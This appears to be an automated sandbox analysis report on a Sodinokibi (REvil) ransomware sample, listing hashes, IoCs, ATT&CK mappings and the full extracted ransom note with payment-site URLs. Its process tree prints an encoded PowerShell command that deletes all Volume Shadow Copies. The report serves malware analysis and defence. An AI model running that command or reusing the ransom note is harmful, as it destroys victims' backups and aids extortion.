sodinokibi | 8c55958dc4f421350c0b0c5ac16004238f4d0957a7fba86832f7da76788a4804

General

Target

file.dll
Size

166KB
MD5

c3f14287cc4ca1c70e11dfe5afda7706
SHA1

752b14561f5633cfcb3450c7627afb96c2cbd2e7
SHA256

8c55958dc4f421350c0b0c5ac16004238f4d0957a7fba86832f7da76788a4804
SHA512

0f7e9b8a8da7fe2f0b0d76eb0ff92a99194c24045fccce43e12b5ae93854e68ba7523405796adb561798009e4bb09c7dda245aad6855089e720db0c791fa2b7e

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Path

C:\1c4tl2pd0-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 1c4tl2pd0. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B72B1DD05DE5718C 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/B72B1DD05DE5718C Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: vcwQ2LjfPbqttzlf7Hc8+x9SreydC9JwTNlYbnfIAcxS+iqfxYt8Tx9oO/Rt1Ti5 Tyi19/NQGpfvRu9xqpItn3XJG9fEZyJt/CH5PocxKLS09NyeClDaZcZSPjk8q/bI TEp2HIk8SH5TT1U9icoYcasjih+KFiGphfq7WaMJ0Che2rSNPhpvNjfaaV1+8Ig5 fi+xDK8WcHBQKRBcAvdtdQr+ihkomENF5YnAL5gMPxP3mrPc7gMyLEW9MzXGB8iX FKRAwNy7anWsVZ3afmPGyy4TlYcohwmdObw59ZWH7yxnkpTsOeXT32kTvpXTmrex iJiEwUht7vhM1Qx54HLZ89IZsogb9NciAxZP9HsQvsAtleTczahZL7j5ukgy+jQm dLWf1tpjreknn6Oa95G0g/ZICnuM9Wp8BaDUiLe2SssJ7arfox0m8jt0qnGLZkbr HrdSrpezTIl58qg7NF+f3GONQzYL7d6deRqTcAbk36c0+aoasQzGKO5ikoZmi9Ln Uj/41CV2N+m4GZk+9zHeCGuX2O3n7Pk6wSgXDX4047r0O9HTjtuifANa+CyY9g9m 4xQWR/KyxB29inZRiK/OaV3E+2xxLJ/YNwZldhLJF2hxviFkEewfK+CdSTrZLud3 9NWPW1V8nYwVwZVstuUNblFAPmI0yIGV6qsKRlqF9oASIgVkPvtK6XK7kRor/MpM jlRrEQwi3nHL/mB79goOahf46dcExmXdf8r/jxt+A4j8s95AViAaL5itSR8oRW2d a6MXiAZnHItF6xkZN2xVckWr9er3wtfdizF0KBBWjVjyt1B8IL9tY8GI193ZgtyL RQtjAlya7Av+jCWmB+voMGUGyuw/2TGFUsk9Bqb0srDpGK6hP/oqXaD0R/+Ws6SU eo2++198oqdw1g/ywwPgJfkTHiz7438D1e0NHmrbzBfhomMpQOGfKM/6UcAJEzBx pC5BE3iMdFnH1na9bH8809tmO7UulKVKhi1PCMl2jU8+kxyfKap7yFLFm06THM1w kXBsSZxXI8JSWJavQ7rKtnLMIcUeLlak78spWQrZ4l7nLPqcFBSwN9Eu6VIHTss6 BTNfn4seO+HmrTBj4LNjbTE/uXRFjjmnS7sTJkQxJ+LWcS1R47LrN8/uYH6xYsO/ dikyMnGlln9BAnFoBEyyOrIFKdKNI2kdOzdVsGltmTAYf8CvGfyRG7ONC00DCdio AGwEn7HCUM26UjZCamDCO1WRfHcx1I1+yjPyOCKOIefQRr3FynskWY79NLOk5g8u hg8xArzwzBv8gRVMh5fBnNGzBa0ABA== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B72B1DD05DE5718C

http://decryptor.cc/B72B1DD05DE5718C

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Modifies extensions of user files 6 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

rundll32.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\AssertShow.tif => \??\c:\users\admin\pictures\AssertShow.tif.1c4tl2pd0	rundll32.exe
File renamed	C:\Users\Admin\Pictures\CloseComplete.crw => \??\c:\users\admin\pictures\CloseComplete.crw.1c4tl2pd0	rundll32.exe
File renamed	C:\Users\Admin\Pictures\DisconnectCompress.tif => \??\c:\users\admin\pictures\DisconnectCompress.tif.1c4tl2pd0	rundll32.exe
File renamed	C:\Users\Admin\Pictures\ExitEnable.raw => \??\c:\users\admin\pictures\ExitEnable.raw.1c4tl2pd0	rundll32.exe
File renamed	C:\Users\Admin\Pictures\RevokeMove.png => \??\c:\users\admin\pictures\RevokeMove.png.1c4tl2pd0	rundll32.exe
File renamed	C:\Users\Admin\Pictures\AddProtect.raw => \??\c:\users\admin\pictures\AddProtect.raw.1c4tl2pd0	rundll32.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

rundll32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\uzqv12.bmp"	rundll32.exe

Drops file in Program Files directory 25 IoCs

Processes:

rundll32.exe

description	ioc	process
File opened for modification	\??\c:\program files\CompressDisconnect.M2V	rundll32.exe
File opened for modification	\??\c:\program files\DismountAssert.csv	rundll32.exe
File opened for modification	\??\c:\program files\DismountGrant.fon	rundll32.exe
File opened for modification	\??\c:\program files\MountEdit.m4a	rundll32.exe
File opened for modification	\??\c:\program files\NewSet.m1v	rundll32.exe
File created	\??\c:\program files (x86)\1c4tl2pd0-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\AddPop.wmf	rundll32.exe
File opened for modification	\??\c:\program files\BlockPublish.htm	rundll32.exe
File opened for modification	\??\c:\program files\ExportApprove.cfg	rundll32.exe
File opened for modification	\??\c:\program files\SendCopy.mpp	rundll32.exe
File opened for modification	\??\c:\program files\SuspendStop.eprtx	rundll32.exe
File created	\??\c:\program files\1c4tl2pd0-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ConvertToUpdate.tif	rundll32.exe
File opened for modification	\??\c:\program files\InvokeRepair.vsdx	rundll32.exe
File opened for modification	\??\c:\program files\MoveStep.vsd	rundll32.exe
File opened for modification	\??\c:\program files\RenameFormat.eprtx	rundll32.exe
File opened for modification	\??\c:\program files\SelectOut.css	rundll32.exe
File opened for modification	\??\c:\program files\StopBackup.7z	rundll32.exe
File opened for modification	\??\c:\program files\SyncRestart.vstm	rundll32.exe
File opened for modification	\??\c:\program files\DismountCompare.doc	rundll32.exe
File opened for modification	\??\c:\program files\GrantSearch.vbs	rundll32.exe
File opened for modification	\??\c:\program files\InstallOut.mht	rundll32.exe
File opened for modification	\??\c:\program files\LockUnpublish.xltx	rundll32.exe
File opened for modification	\??\c:\program files\RenameSwitch.emf	rundll32.exe
File opened for modification	\??\c:\program files\SkipReset.dotm	rundll32.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

rundll32.exepowershell.exe

pid process

4864 rundll32.exe
4864 rundll32.exe
3208 powershell.exe
3208 powershell.exe
3208 powershell.exe

pid	process
4864	rundll32.exe
4864	rundll32.exe
3208	powershell.exe
3208	powershell.exe
3208	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	4864	rundll32.exe
Token: SeDebugPrivilege	3208	powershell.exe
Token: SeBackupPrivilege	636	vssvc.exe
Token: SeRestorePrivilege	636	vssvc.exe
Token: SeAuditPrivilege	636	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 4760 wrote to memory of 4864	4760	rundll32.exe	rundll32.exe
PID 4760 wrote to memory of 4864	4760	rundll32.exe	rundll32.exe
PID 4760 wrote to memory of 4864	4760	rundll32.exe	rundll32.exe
PID 4864 wrote to memory of 3208	4864	rundll32.exe	powershell.exe
PID 4864 wrote to memory of 3208	4864	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\file.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:4760

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\file.dll,#1
2⤵
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3208

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2808

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:636

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

memory/3208-1-0x0000000000000000-mapping.dmp

Download
memory/3208-2-0x00007FFF44DC0000-0x00007FFF457AC000-memory.dmp

Filesize
9.9MB

Download
memory/3208-3-0x0000020120BF0000-0x0000020120BF1000-memory.dmp

Filesize
4KB

Download
memory/3208-4-0x0000020120ED0000-0x0000020120ED1000-memory.dmp

Filesize
4KB

Download
memory/4864-0-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads